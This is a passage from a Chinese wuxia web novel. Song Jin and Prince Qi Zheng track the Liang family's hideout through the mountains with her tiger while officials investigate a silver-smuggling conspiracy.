涉及到梁家,私开银矿的事都没那么严重了 不对,其实仔细想想,银矿背后之人也说不好就是他们。毕竟不管是自己吃喝还是训练死士,亦或者是搅起乱事,都需要银钱 思及此,李青山和宋行之目光对视 宋行之压下对梁家的厌与恨,沉声:“我去写折子,快马送回都城” 李青山:“我去联系校尉,整兵防范” 梁家的人都是疯子,谁也说不好他们计划失败后会直接退走,亦或是直接发疯伤及无辜,必须做好防范 眼看着两个人眨眼间就做好了计划,连梁家都不知道是什么的齐铮面色跟着冷肃下来,沉吟半晌,想问问两人自己可以做些什么 李青山和宋行之纷纷跪下:“请王爷以自己安全为重” 他们自己出事就是出事,死不死看运气,齐铮要是出事,他们绝对死 “我去牢里审才抓回来的嫌疑人”齐铮对着两人依旧不放心的模样,默默补充,“……其他人跟着一起” 见此,宋行之和李青山放下心来,和其他侍卫交代好,两人就去找人了 从今天开始,泗安县甚至府城,都得开始戒严模式了 …… 宋锦对此感受最深 因为,他们预计去都城的时间因这事推迟了 这一推迟也就意味着她娘看病的时间也得推后 这红线蛊现在虽然说能被她压制,但它就像一个暂时休眠的炸弹,谁也不能预测它什么时候就突然爆发 而爆发的后果,是宋锦完全不能接受的 她一把拉住过来说消息的宋行之,紧紧抿嘴,眉眼带着三分戾气,断然拒绝:“不行,不能往后推,我们要尽早过去” 要不是因为她娘的事不能再拖,她也不至于就拿这两三天时间匆匆安排事情 宋行之这两日忙得头都大了,见她这般模样更是头疼,但还是好声解释:“不是我们不想过去,但梁家人之事过于严重,不能放任不管” 宋锦拧眉:“我管他良家不良家的,在我这,我娘的事情最重要,先看了病再说其他的” 宋行之头疼:“这事真没办法,不过你放心,府城那边已经调了人手过来,我们也有了些线索,很快就会把人抓到” 宋锦:“很快是多快?一天两天还是一旬一月?” 宋行之:“……我们会尽快的” 宋锦不想听这种屁话,她一脚踹翻一边的木墩子,攥住宋行之的领子,怒道:“行,你们尽快你们的,我自己带着我娘去都城” 真是一点道理都不讲啊 宋行之被她勒得喘不了气,艰难道:“若是以往也不说什么了,就现在这情况,他们明显盯上你了,你带着你娘单独走就是自投罗网。” 他说的是大实话,也是宋锦如此生气的最大原因,不然他们推迟他们的她自己走就行了 本就因为这件事这两日和牛铁兰冷战的宋锦咬得牙齿咯咯作响,她越想越气,气得一把扔开宋行之,踩着轻功翻上墙就跑了 宋行之连忙喊:“喂,喂,金金你别冲动啊” 话音落下,宋锦就翻着墙跑了,根本追不上 宋行之焦急,虽然宋锦的武力很高,但是对面的可是梁家,万一有个什么的,他可真没法交代啊 “你不用管她,去弄你的就是了” 正在他着急的时候,牛铁兰缓步走了过来,她仅着最为朴素的白衣,没有一点修饰,头发也用白条束着,不施半点粉黛,宛如出水芙蓉,清然窈窈 喜好柔弱美人灯宋行之下意识一愣,紧接着就垂下眼,十分恭谨地行了个礼:“夫人” 作为宋锦的亲娘,不管牛铁兰和宋商有什么纠葛,只要她以后不与宋商为敌,宋行之便只能对她恭恭敬敬 宋商可能会不在意一个女人,但是必定不会不在意孩子的亲娘 面对他的恭敬,牛铁兰却不觉开心,在她看来,他们无亲无故的,仅仅她闺女长着一张相似的脸 他的恭敬也是得付出代价的 牛铁兰神情淡了几分,只道:“不用管她,她自己想法子出了气,后面也顺畅些” 宋行之嘴角一抽,觉得就宋锦这个性子,天生的肯定有一部分,但这当娘的也少不了责任 他解释:“主要是现在外面鱼龙混杂,不知道有多少有心人盯着,夫人能劝还是劝劝吧,她很听您的话” 牛铁兰神色更淡了:“真要听我的话,我们就不会在这了,我累了,你回去吧” 宋行之叹气:“好,您注意身体,尽量少出门,我安排了人在这个外面守着,有什么可以让他们去做” 牛铁兰抬眼:“怕我们跑了?” 宋行之:…… 他发誓,他这么多年受的冷遇都比不上这段时间多 但是他又能怎么样呢?还不是只有受着 他苦笑:“ 您误会了,那些人是防止外人冒犯,您要是想出门随时都可以,但尽量还是多几个人跟着” 牛铁兰:“不用,撤了吧,我不会出门,屋里很安全” 宋行之还想再劝 牛铁兰瞥:“要看看我家的守卫才放心?” 宋行之脸色一僵,通过那些尸体上的狰狞伤口,他便猜出那大猫是什么玩意了,他可不想和它面对面 他行了个礼,带着些仓促离开 牛铁兰站在原地,看着他彻底离开,这才悠悠转身,刚走到转角,一个金黄的圆脑袋突然冒了出来,金灿灿的圆眼睛盯着他,娇滴滴 “咪~” 牛铁兰被吓了一跳,稳住心神,没好气地伸手点着它的大脑袋:“和你娘一样皮” 黄黄咪了一下,倒地开始打起了滚,没有半点换了环境的不适 牛铁兰看着它这样就想起了它娘,忍不住深深叹气 真是愁死她了 ** 而此刻,被愁着的宋锦已经跑出老远,气势汹汹地来到了 县衙 她和宋行之没什么好说的,也不觉得他会和她说什么,这人看似很想把她带回家,但实则警惕着呢 但至今为止,他说的东西全都是外面能打听到的东西,稍微具体一点都没有 滑得很 不是什么好东西 相比之下,宋锦还是觉得齐铮和李青山靠得住一点,他们也不会因为她是女人家就轻视她,也没有把她当什么妖魔鬼怪,什么都得避着 只要她问,他们还是会说的 就像现在,面对气势汹汹的宋锦,齐铮只是思索了片刻,便开口:“我不知道”??? 宋锦凤眸微微睁大,又是错愕又是生气 不是啊兄弟,她这么相信他,他就这么敷衍吗?这还不如直接说事关机密,不能和外人说呢 齐铮停顿了一下,坦然道:“我只是听他们说起,这梁家应该和之前的岭南祸乱有关,又涉及到一些谋反事情,都是十来年前的事了,我回都城也才半年,没听人说过” 宋锦拧起了眉,又问:“那查到什么线索没有?有没有什么可疑的地可疑的人?” 齐铮看着她一副要去干架的模样,默默摇头:“他们不让我参与” 宋锦惊:“……架空你?你可是王爷啊” 她那大奸臣亲爹厉害到这种程度了吗?这可是王爷啊 完了,要是这样,她觉得自己早晚有一天要被他连累回山里当野人 齐铮嘴角一抽:“应该是来之前父皇特意安排的,他让我过来本就是为了银矿一事,没想到会碰上这些” 准确一点,他爹让他这个亲儿子过来,就是为了名正言顺的把这矿给他分一半,不然也不会让宋行之跟着了——这人才是来干活的 宋锦恍然,随即就羡慕嫉妒了起来:“你都有矿了还这么抠门?” 齐铮坦坦荡荡:“该省省” 宋锦忍不住翻了个白眼,一屁股坐在台阶上,拧着眉头,抱着这几天从不离手的剑,问道:“就没有其他线索?” 齐铮想了想,问道:“可怕尸体?” 宋锦指了指自己,一脸无语:“你在问我?” 齐铮也想起了,沉默半晌,迈步转身:“走吧” 宋锦赶紧起身跟了上去,两人来到了停尸房 距离人死去又过了两日,现在正是夏日,尸体即便是放在冰块上,依旧散着臭味,周围也围上了苍蝇 齐铮:“今日是停放的最后一天,等晚间便会拿去焚烧,避免疫病” 尸体放久了会容易出现疫病,也会传染人,所以停尸房的尸体最多放三天,期间还会用酒精擦拭,延缓腐烂速度,像是这次比较重要的内脏和那有记号的皮肤,便是泡在酒里,等待更专业的仵作检验 宋锦没去检查尸体,她虽然杀人很有一套,但是验尸方面,她不觉得自己比得过这些专业人,她只是拿起那记录,仔仔细细观看 她站在那里仔细研读,一双眼明亮粲然,眉头紧拧,抿着唇看了好一会儿,忽然抬起了头 齐铮不由有些期待:“看出什么不一样了?” 宋锦伸手指着那梁家的死士图案,沉思:“这是什么玩意儿,好丑” 齐铮:“粟蓉花,岭南那边特有的花,具有迷幻性,很危险” 宋锦看着那个简陋的小圈圈,纠结:“他们顶着这个标出去,不会觉得丢脸?” 人家正经的世家符号都是什么狼啊,鹰啊,虎之类的,这玩意儿就是两个圈圈扣一起,齐铮要不说这是花,她还以为是射箭靶呢 齐铮:“这花,就长这样” 这玩意儿虽然很危险,但长得确实潦草,让人一眼就能认出来,一般不会误食 宋锦扶着下巴,左看右看前看后看,总觉得这玩意儿有点眼熟,她仔细回忆:“我好像,见过这个东西” 齐铮皱眉:“确定?” 宋锦摇着脑袋:“不太确定,就是觉得有些眼熟,两个圈圈两个圈圈,嘶,紫色的?” 齐铮面色一肃:“是紫色的,你仔细想想是在哪看到的。这东西是岭南独有的,生长环境要求高,在这边很难自然生长” 而粟蓉花又不是什么好东西,人为栽的话,只有可能是梁家人了 这玩意儿丑得过于别致,宋锦确定自己见过,但是真的回想,她又没什么印象。她一年到头大半时间都在山里,哪可能什么花花草草都记得啊 宋锦忍不住拍了拍自己的脑袋,努力回想,再回想,再拍一拍,最后抓着乱糟糟的鸡窝头,重重拍手 “想不出来,我回去好好睡一觉,指不定明天就想出来了,我再去看看其他地方,你们这边要是人手不够,记得来找我”” 说完,她耸了耸肩,拍拍摸过那刺青的手,大摇大摆转身离开 那模样,让齐铮禁不住瞬间怀疑她是想起了什么,要自己去找茬,他忙道:“对面情况不明,说不定也有武林高手,你最近因为你娘损耗颇大,别硬撑,你要是出事了,你娘怎么办?” 这下轮到宋锦一言难尽了,她翻了个白眼:“我看起来这么蠢吗?我一个人去把人端了,你们是要给我封爵还是给矿?” 大不了就给个几千两的银子,还不够她的药呢,亏得很 齐铮无言:“你回去休息好了再努力想想吧” 宋锦给了他个白眼,迈着大步离开这边,又开始在城里面逛了起来 多看看,指不定就想起来了 这泗安县城说小不小,说大,她一个时辰不到就走了个圈,最后习惯性走到文渊书院旁,看着关闭了的书铺,有些意外 她大步走过去,看到了门上大大的封条,眉头紧皱,随便拉了个路过的书生 “出什么事了?怎么被关了?” 纯路人:“男女授受不,不,不知道,不过听说是私底下偷运私银,前两天被抓走的” 宋锦愣了一下,看着门上大大的封条,一把撕掉,大步离开这边,又朝着县衙跑去 齐铮还在停尸房那边,宋行之李青山他们不在,肖县令出门了,就罗衙役他们还在 宋锦急忙忙走了过去:“罗哥,舒家书铺怎么封了?” 罗衙役疑惑:“舒家啊?就那矿山的事你知道吧?那些矿就是他们书铺的镖局运走的,现在还在审着,他们要真掺和了这件事,大罗神仙都救不了。” 宋锦面色一僵,心情沉重起来 她虽然和舒老爷子不算对付,但是和舒程浩是正儿八经的朋友,哪儿能接受人这么仓促出事? 宋锦咬牙:“就他们那个胆子,肯定干不了这事” 罗衙役叹气:“就是没有,那银子总是从他们那边运出去的,这事他们逃不了责任” 宋锦心情更糟糕了,都怪那破梁家,真是特意跟她作对,她娘、她自己、她朋友,哪哪都有他们,给她等着 她深吸一口气,问:“罗哥,我想去见见人” 罗衙役叹气:“宋锦,真不是不帮你,这事情牵扯太多,县衙还有上面的人过来,我不能放你进去” 宋锦心情沉重 罗衙役:“不过你放心,既然是你的朋友,我肯定会帮你看顾着,尽量让他们少受点苦” 这进了大牢就没有不吃苦的,能少点总是好的 看着他真诚的模样,宋锦扯了扯嘴角,从怀里 掏出钱袋塞给他:“麻烦罗哥了” 罗衙役拒绝 宋锦又道:“罗哥你不在乎,还有其他兄弟呢,你帮我多打点打点,给他们吃点好的,也帮我递个消息,让他们不要着急,我在外面会替他们想办法的” 罗衙役叹气,提醒她:“这事不小,你尽量少掺合” 宋锦扯着嘴皮,又说了几句感谢的话,这才迈着有些沉重的步子转身 这一次,她是真没有心情在外面转悠了,叹了叹气,有气无力地朝着家里走去 宋锦心情有些沉重,还有烦躁 就像罗衙役说的那样,就算偷运私银的事情和舒家父子不知道,但是总是走的他们的路子,他们脱不了责任 最好的结果也是,他们地从牢里出来,书铺关闭 这对于舒老爷子来说无疑是个巨大冲击,他家里几代人经营的书铺,断送在他的手里,他一把年纪的,还不知道顶不顶得住。而舒程浩,眼看着院试过了,有点仕途的希望,现在基本上也断了 宋锦抬头看着天,心情复杂 普通人的日子好像就是这么脆弱,有点风吹草动就散了 “怎么,墙上的气比下面好闻?没事坐墙头干什么?” 牛铁兰本来是坐在院子里喝茶,一抬头,就看到墙上多了个熟悉的人影,一动不动地挂在那里发呆 她瞥人:“过来坐” 宋锦下墙,蔫头蔫脑地朝着她娘走来,一屁股坐在地上,抱着牛铁兰的腰,把脑袋放她腿上,闷闷:“舒家被抄了,涉嫌偷运私银” 牛铁兰愣住,蹙眉:“这可是杀头的大罪” 宋锦苦笑:“是啊,会杀头的” 所以她能做到的,也就是保证他们活着,再多的,她自己是没有这个本事了,只能靠着别人 宋锦有些心累 她当着宋行之的面再是张扬,心里也知道,她和她娘才是里面弱势的一方,赌的也不过是宋商需要她这个亲生女儿——不管是为了传宗接代还是为了面子 在这点上她已经欠了人不少,现在还得靠着他们 宋锦很是不甘,却又无能为力 权势确实就是好东西,有权有势,就是比普普通通来得好 牛铁兰心疼地看着她有气无力的模样,却也不知该说什么,只能伸手轻轻的摸着她的脑袋,以示安慰 从她们走出镇子的那刻起,很多事情就不由她们控制了 宋锦搂着她娘的腰,轻轻闭上了眼睛,努力压着汹涌的情绪 突然,她脑袋一疼,嘶了一声,睁开眼,那长满了倒刺的长舌还想舔过来,被她伸手轻轻捏住 宋锦磨了磨牙,刚想骂虎闺女两句,就对上它那金灿灿的满是兴奋的圆眼睛,里一圈外一圈 她到嘴的骂声顿住 等等,两个圈,有点眼熟【你现在阅读的是 】 30-40 第31章 有仇报仇 “这孩子生下来就很弱,巴掌大那么一点,吃奶都是喂两口吐一口,我当时还以为她不会活下来……” 昏暗的夜色下,齐铮立在树下,听着对面的人缓缓说着那些年的艰难岁月,他神色不变,冷漠的就像是一尊木头,没给对面半个眼神 对面的人说着说着就不乐意了:“你不觉得她很可怜吗?” 齐铮面无表情,低下脑袋看着‘虚弱’地倒在地上的‘她’——一只圆头圆脑圆肚皮大大老虎 一双眼睛像是两只黄灯笼,金灿灿的发着光,一身皮毛光泽油亮,尖锐的牙齿间还带着血丝,一看便是才饱餐一顿,日子过得富裕得不得了,以至于它体型庞大紧实,比起一般的公虎都要强壮几分 那堪比成人大腿粗的四肢让人毫不怀疑她一巴掌便能轻而易举的抓掉人的胳膊 什么可怜? 什么虚弱? 若是没有亲眼见过她一巴掌拍死人的凶残模样,齐铮还真能勉为其难地给个眼神,但是现在,看着这只熟虎,他一言难尽:“这虎是你养的?” 宋锦得意:“怎么,有问题?” 齐铮瞥她,便知她肯定不知这虎干了什么,他道:“银矿那次是你让她引的路?” 这反应得有些太快了,宋锦装傻:“什么银矿什么引路?黄黄长大后就一直在山里了,我也不知道她干了什么” 齐铮不蠢,怎么可能信这种话,要真是放山里就不管了,这虎哪可能这么听话就跟着跑了 他缓缓:“那日我们上山寻找矿,她叼来一只被饲养的野狗就跑了,我们寻着踪迹之时,又碰上了她。她抓伤我身边侍卫,带我们去的银矿处,又抓死了两人” 当日那灰衣人能跑,除了他本身就熟悉地形之外,也少不了黄黄添乱 宋锦:…… 这不成器的破虎,不是让她跑远点了吗?生怕人家不宰了她是吧 她假笑:“可能是你认错了,山里有好几只老虎呢” 齐铮面无表情 山里是有好几只老虎,但是黄黄很好认,她圆头圆脑圆肚皮,看到人就两眼冒光——很亲人 宋锦打着哈哈,果断转移话题道:“因为她先天不足,所以是我一点点养起来的,最开始她连老鼠都抓不到,娇气得很,我担心她进山得饿死,又带她训练,直到能生存了才放出去不管” 训练了整整两年,还不知道糟蹋了她多少好东西,这废物虎才有点样子,宋锦想着都觉得糟心 不过那是她以前世末日下异虎的标准看 在齐铮这个土生土长的本地人看来,黄黄体态庞大,肌肉线条流畅健实,浑身上下都带着凶残的意味,就算是躺在那里打滚,随意的一巴掌也能留下深痕 和娇气也就只有个气的联系 看着他沉思的模样,宋锦默默地伸手遮住自家虎闺女的脑袋,虽然因为太大了,只能遮住圆眼睛,但是能遮一点是一点吧 她说这些,就是想展示一下她们的母女情深,让面前这人别想打什么歪主意。别以为她看不出来,这人看着黄黄的眼睛都在发亮,写满了想要 给是不可能给的,这可是她亲闺女,真想要的话,等黄黄下次带崽了倒是可以分一只 宋锦清了清嗓子继续:“她正式放出山后,我怕她还跟以前,就把她扔得有些深,然后过了一个多月才去找她。本来是担心她受伤的,没想到她见到我就直接袭击,被我狠狠揍了一顿,后面才慢慢听话的” 她一直以为这是这老虎放山里性子野了,给她气的后面上山第一件事就是找她一顿揍,这样持续了半年时间,她又变成乖乖虎 齐铮思索:“粟蓉花有迷幻效果,她可能是误食了,也可能就是单纯被气味刺激” 宋锦此刻也赞成这个说法:“我就说好歹是我亲手带大的,她怎么也不能是白眼虎,果然是误会” 齐铮沉默不语,只是同情地看着那被连着追着揍了半年的黄黄 难怪它现在这般乖巧,原来不是通人性,而是纯怕啊 黄黄个听不懂他们在说什么,但是它知道这两个人自己都打不过,感受到他们的目光,她伸着爪子抹了抹脸,又是一个利落翻身,娇滴滴 “咪~” 乖巧又听话,别揍它呀 宋锦就喜欢它这个样,喜滋滋拍拍它的脑袋,对着齐铮道:“我把范围标好了,我们俩从大安村用轻功翻,两三个时辰就能到,去不去?” 在山里最麻烦的就是那些大山,绕过去的话路程翻倍,爬的话也费时间,一般人也没这个本事。但对他们两个内力深厚的人来说问题不大,他们直接踩着枝叶就能上去,大大的节省了时间 而黄黄就更别说了,跳悬崖就跟跳山沟似的,没一点儿难度 面对她的邀请,齐铮思索片刻:“事不宜迟,就现在吧” 一个人不比两个人,两个人又比带一堆累赘方便。 他们两人一起,最多明日便能摸清山中,确定大致方位,不管是不是梁家,总有个结果。要是带上一群人,一个月都搞不定,还平添事端 两人当即一拍即合,给家里(侍卫)留了封信,就骑着烈马朝大安村奔去——平 路上,那还是得马来跑 …… 面对两人的消失 牛铁兰适应良好,她早就习惯了自家闺女的神出鬼没(不靠谱),并且觉得她进山比去都城安全多了,对此没有一点意见,继续在家里悠闲喝茶 而宋行知李青山等人看着齐铮留下来的信,则是差点崩溃 他们的狗命也是命啊 李青山深呼吸再呼吸,闭着眼睛:“要不,我们派人过去守着吧,要真是梁家人,他们定是盯着王爷的” 相比起宋锦,梁家人肯定更看重齐铮这个当今亲子,当然,现在也不必分个高低了,两个人正好凑一起让他们一箭双雕了 李青山的手都有些抖,头一次感受到熊孩子的威力 他们王爷,之前明明说得好好的,现在突然跑了,要说和宋锦没关系谁信啊 他现在甚至怀疑这是不是宋家人特意安排的阴谋了 那里一个宋家人负责拐人,这里一个,负责扫尾? 尤其是宋行之说道:“派谁去?你知道他们去哪了?还是你能跟得上?既然我们都跟不上,梁家同样如此。我们派人不过是暴露他们的行踪让两家人有所准备,不如按兵不动,打他们个措手不及” 听到这话,李青山不由按住长剑,目光沉了几分,道:“派出去的人手也不知何时才能查到,抓回来疑犯那也没问出什么,现在连王爷也失踪了,我们就这样干等着?” 宋行知合上折扇,微眯眼睛:“自然不是,王爷和金金走得突然,梁家的人定追不上他们,但肯定有所行动。那时候夜色已深,城门关着,去查,昨日那些值守的人中必有变动” 索性他还是有些行动,李青山的警惕稍微去掉几分,但还是保持怀疑,他问道:“你不是有那千里蜂吗?不能用来追寻王爷?他独自在外,万一有什么意外,你我都脱不了关系” “他们带上了黄黄,此番定然是进山,你觉得你能在山里追上他们?”宋行之咬着牙,悲愤,“再说,那丫头早就把千里蜂祸害完了,我去哪里寻?去他们母女俩的肚子里找?” 李青山:“……我去城门寻人” 宋行之站在原地,看着他匆匆离开的背影消失,旋即轻嗤一声:“蠢货” 但凡换个人跟,这人在都城都不知道怎么死的,还来试探他 啧 宋行之摇着折扇,看着宋锦和齐铮两人留下的纸条,仔仔细细查探,想要看出什么暗示 但是他从上到下从左往右,仔仔细细,只看出三个字——没文化 一个扭扭曲曲宛如毛虫,一下多一点一会儿少一横,短短两行字错别字占一半 一个横横竖竖,无锋无芒,宛如木头,十分寡淡直白 宋行之怎么看怎么糟心,最后只是小心将其收了起来,思考着仅有的线索 这几日的查探,他们自然也发现了些疑犯,但是都是些无关紧要的人物,只是收钱帮着打探消息,什么也不知道。而周边的疑似窝点倒是找到两个,却已经人去楼空,只留下人存在过的痕迹,多余的一点儿也没有 宋行之神色沉沉 此番难得有了梁家人的痕迹,却抓不到人,也没能让他们付出代价,他怎么想怎么不甘 而继续查下去,现在梁家已经有了准备,真等他们寻到了,人也撤得差不多了,他怎么想怎么只能寄希望于宋锦和齐铮两个不按常理出牌的人 一个是民间寻回的王爷,一个是疑似他爹亲女的乡野丫头,两个八竿子都打不着的人相继出现,又都还武艺高强 宋行之眼神暗了下去,只希望别又是一场针对新朝的阴谋,距离上一次会安之乱,也不过才十余年罢了 就在此时,外面传来通报声:“宋大人,驿站有报,这是您的信件” 宋行之立即收拾好心情,转头又是一副翩翩公子模样,他折扇轻扬,笑容和煦:“拿来吧” 那人拿着秘信过来 宋行之送回朝廷的奏折不过两日,那边再快也还要几日,他便以为是府城递过来的信件,然而信一到手,还未打开,他便倒吸一口凉气,偏偏的和煦模样消失,苦大仇深地看着信封面上的红章 那繁密花纹交错,最终汇成一个宋字 ** 官府内部兵荒马乱,外面的百姓却依旧该干什么就干什么 夏日当头,强烈的日光照着大地,带来一阵又一阵的热浪,街上的男男女女少有把自己裹得严严实实的,大多穿着凉快轻薄的料子,露胳膊露小腿在外面打闹,更有那张扬放浪的,裸着半截身子在外面招摇——虽然一般都会挨揍 相比之下,山里要凉寒很多 那些树木高大繁密,一寸又一寸的连接,截住了大半的阳光,只给下面的小树杂草留下阴湿 深林中万籁俱寂,只有飞鸟蝉虫偶尔的鸣叫。突然从远处传来一片震动,沉寂的飞鸟鸦雀纷纷惊起,一片片浮在天上,惊惧地看着那由远及近的震痕 紧接着唰一下,密不透风的枝叶从中间破开,一头金黄从中窜出,稳稳停在巨石之上,仰天长啸 “吼~” 林间便又是一阵惊乱,除了飞鸟,野兽也纷纷藏起了身影 宋锦紧跟其后,从悬崖下跃起,踩着峭壁一路来到顶上,拍了拍累得摊在地上大口喘气的黄黄,找了棵高树跃上,拿起自制的简陋望远镜观察四周 深山里除了山就是山,转头是树,背身还是树,密密麻麻的,将一切藏得严严实实,但是也将一切暴露无遗 在经过连续10来个山头的探寻之后,宋锦总算是发现了一丝不一样 那一片深绿之中多了一条紧实的小路,顺着一路看去,那小路通往一座山谷,山谷搭着石板路,飘着人烟 不用多说,这就是他们此行的目标了 宋锦挑了挑眉,她跳下树,蹲在黄黄旁边,伸手扯扯它的耳朵,它立马咪了一声,埋埋脑袋,有气无力地吼了一声 这一晚下来虎累得够呛 宋锦安抚地拍拍它的脑袋,坐在悬崖边上等待,不过一刻,旁边便传来了踩踏的声响,她转过头 齐铮踏着枝叶从另一面山过来,他身形高大,但在这种时候却格外灵巧,踩着匀速过来,神态平静,脸上没有半分疲态 但是不累是不可能的 从昨夜到现在,两人耗了近十个时辰,即便内力再是深厚,此刻也榨得差不多了,这人就是纯要面子 宋锦就不在意这些了,她半躺在地上,脑袋枕着毛茸茸的黄黄,打着哈欠:“应该就在那边山谷里,我看到路了” 齐铮也道:“碰上两个守卫,此处防守森严” 说完,两个人眼眸对视,漆黑的眼眸间波光涌动,他们静静地打量着对方,藏住对对方深厚实力的异样,异口同声 “让我先睡一觉再说,困死了” “暂且休养,等天黑” 直接现在闯进去,他们就是纯送菜,嫌自己活太长了 再次达成统一,宋锦从怀里掏出两包药粉,扔给齐铮一包,自己一口塞下一包,便闭上眼睛,趴在黄黄身上呼呼大睡了起来 齐铮接住药粉,瞥了她一眼,没有多说,他转头跳上树,靠在树干上,小心食下珍贵药粉,轻闭眼眸 这一歇,便是半夜 “呼~” 睡饱了的宋锦打着哈欠醒来,迷迷糊糊之间,她眼前多了火光,上面的烤鸡金翻着金黄油脂,香味更是扑面而来,她瞬间清醒,赶紧擦擦嘴角 “好了没?” 齐铮端坐在火堆旁,拿着不知道什么粉末撒上,瞬间,更是霸道的香味传来,他淡定:“数五十个数就好” 宋锦咽咽口水,还真就老老实实的开始数起了数,她数一下,旁边的黄黄便跟着晃个脑袋 “一,二,三……” 齐铮只是随口那么一说,本来都打算把烤鸡给取下来了,又默 默收回手,在宋锦的数数声中,拿起棍子先把火堆里的野鸡蛋鸟蛋掏了出来,继续等待 “四十九,五十” 数完,宋锦盘腿坐着,亮着双眼看着齐铮取下金黄的烤鸡,紧接着拿着匕首将其分解成两份 黄黄脑袋凑过去,大眼睛紧紧盯着人:“咪~” 齐铮拿着匕首的手顿住,抬头看向宋锦,带着询问的意味 “它不能吃”宋锦一把薅住黄黄脑袋将其拉了回来,咧着白牙,“它饿了自己会去抓的,这点儿还不够它塞牙缝,别浪费了” 齐铮懂了,能吃 他便把宋锦的那一份递了过去,在黄黄虎视眈眈的目光下,把自己的鸡腿切下,又在宋锦炯炯的目光下,递到它嘴边 “咪~” 黄黄迅速一口咬下,然后缩回脑袋,两只前腿扒拉,脑袋一埋,趴在那里斯哈斯哈地冒着烫吃着 宋锦磨牙:“……浪费,它吃这点能顶什么?我们一会儿还要去探山谷,自己吃饱喝足才是” 齐铮默默地,把他那份鸡翅膀递过来 宋锦闭嘴了,盘着腿开开心心地大口吃肉,吃得满嘴是油也毫不在意 相比之下,齐铮吃东西的速度并不比她慢,但动作明显斯文许多,只是嘴角沾着些油,他拿起手帕擦了擦,又剥开烤蛋吃,最后,又拿起一边的木棍 宋锦呛到:“咳咳你” 齐铮撕开那‘木棍’外皮,疑惑地看向宋锦:“怎么了?” 宋锦收回手,用衣袖擦擦嘴角掩盖意外,也伸手拿了一根‘木棍’过来,这才发现这分明是一根山药,被他放在火边烤好,绵软滚烫,像是红薯一般 她懒得剥皮,直接开啃,一边啃一边问:“去哪儿找的?” 齐铮:“就在下面,收拾野鸡的时候碰巧看到” 宋锦好奇地瞅着他,现在她是真相信这人闯荡江湖多年了,不然这烤肉的手艺也不能这般好,不是长期在外面走着的人,谁没事出门带一堆香料啊 她也毫不客气:“怎么不多弄点?没吃饱” 齐铮淡定:“一会儿探了回来再弄,还有条蛇” 比起野鸡,蛇体积小更容易烤,也更香 听到这话,宋锦就放心了,她大口吃下山药棍,就着袖子擦了擦脸,又用衣服擦擦手,最后拍拍屁股起身,斗志昂扬 “走,去端了他们” 齐铮默默加快速度,三两口吃完山药,挑起土把火灭掉,这才缓缓起身,看着一脸激动搞事模样的宋锦,慎重道:“小心行事” 宋锦拍拍胸口,勾着唇,自信张扬:“放心,不会让你出事的,这种事我熟得很” 齐铮:…… 巧了,他也熟得很 两个人目光对上 好一会儿,他们错开目光,默契地朝着山谷奔去 有仇报仇,没仇搞人 第32章 一定很脏 “那边交代好了?” 泗安县最大的茶楼里,五十上下的男人站在窗边,侧脸隐隐的长痕藏着旧日恩怨,他看着外面往来的士兵,一双鹰勾似的眼睛藏着暗涌,声音沉沉 侍从:“大人放心,死士那边家人安排好了,等到时候,他们会站出来指认宋家” 男人冷笑:“此番便是不砍掉他宋家的手脚,也要割掉他们一块肉,我就不信,上面那位对他宋商真没有一点忌惮,只不过是要面子。今日,我便把这缘由亲手给他送手,等来日,我要让他跪着还” 侍从:“这宋商心狠手辣,看似冷漠无情,谁会想到,他竟然把亲女藏在此处呢?那些个义子向来也是他用来掩藏这位的障眼法,可惜,千算万算,他算漏了大人的深算” 男人:“他宋商一世嚣张,孩子也一脉相承,干出什么事都不让人意外” 侍从:“大人深算” …… 两人站在窗边一唱一和,看似是互相商议,实则不过是为了给身后之人听的,待到巳时的更声传来 鹰眼男人冲着包厢中一直沉默不语的儒雅男人举起茶杯,一饮而下,抱拳:“先生大义在下感激不尽,等我日后成就大事,必定为先生实现天下大同之愿,不让奸臣当道” 储邵端着儒雅君子之相,静静举杯:“愿大人安然” 男人神色一顿,恼怒一闪而过,又被他快速压下,他笑了笑,颔首,带着深厚侍卫快步离开 两人走过茶楼,沿着石板路一路来到一个不起眼的小院前,小心翼翼地左右观察一番,这才朝着屋里走去 屋外的小巷静悄悄的,半晌,身着布衣的年轻男人从转角出来,静静地打量着面前的破旧僻静小巷子,眉头紧皱 这边靠近城墙,他在城里多年也是第一次过来这边,没想到竟然是如此僻静,左右看去,一条街仿若无人居住,正常人都不会选择搬到这边了,更别说那种一看就不凡的人了 一个看起来有头有脸的人,住在僻静之地,言行鬼鬼祟祟…… 夫子为何会几番和这人见面? 严盛抬头看着那低矮的围墙,犹豫一会儿,选择小心转身离开 君子有君子之道,不管那人是何身份,他此番跟踪人便已失了风范,再无故翻墙,被看到了恐会影响他后来科考——这绝对不行 严盛心事重重地离开此地,下意识走到了回春堂附近,隔着一墙看着面前的小院,神情越发犹豫而踟蹰,不知道该不该上前 没想到还没等他想出个所以然,他便被人一把抓住,来人厉色:“你是谁?想干什么?” 这人腰间配刀,一看便不简单,严盛一愣,赶紧自报家门:“在下乃文渊书院学子,路过此地” 守卫冷笑:“是路过还是盯上这了?跟我回县衙说吧” 严盛又惊又急,连忙:“大人恕罪,在下其实,其实,和里面的人认识,有事相告” 守卫眯眼:“认识?” 严盛看出他的迟疑,连忙自报家门,也报了宋锦牛铁兰的名字 守卫有些犹豫,此时另一边又有人走了过来,打量着严盛,最后还是带着他进屋敲门 “谁啊” 门声响起,没一会儿里面就传来不太耐烦的声音,小耳蹦蹦哒哒打开门,气鼓鼓的,“不是说了没事别打扰吗?还在、还活着、没人进来,我家夫人又不是坐牢,你们再这样我们就赶人了” 守卫有些尴尬,借着机会把严盛拉了过来:“姑娘莫气,这人在外面鬼祟,说认识你们,我们边想确定一下” 小耳一点儿也不信这话,这些人就是想打探她们夫人罢了,她轻哼一声,对着出现的熟人也不太耐烦了:“严公子?” 严盛松了口气:“小耳,金金在吗?我有事和她说” 小耳撇嘴,她可不喜欢严家人,直道:“小姐出门了,有什么事和我说就好” 严盛苦笑:“我也不知道该不该说,我记得她和舒家书铺的公子是朋友,他们家好像出事了,不知她是否知道” 其实他更想确定的是宋锦她们离开没有,现在知道人没走,他心下不由一松 小耳:“我知道了,会替你转达的,还有事没?没事我就回去陪夫人打叶子牌了” 严盛:“牛婶子身体好些了吗?” 小耳:“还行,不过不方便见人,你等小姐回来了再来吧” …… 两个人在这里说着,虽然听得出关系不是很好,但守卫们也确定了严盛确实没有说谎,他们的警惕去掉几分,等到小耳关门 侍卫:“行了,没事就回吧,这几日少来这边” 严盛皱着眉,打量着这些个守卫,心里有些复杂 他看出来这些人是在这里保护牛铁兰,联想到上次宋锦说的要去都城看病,走的肖县令的路子 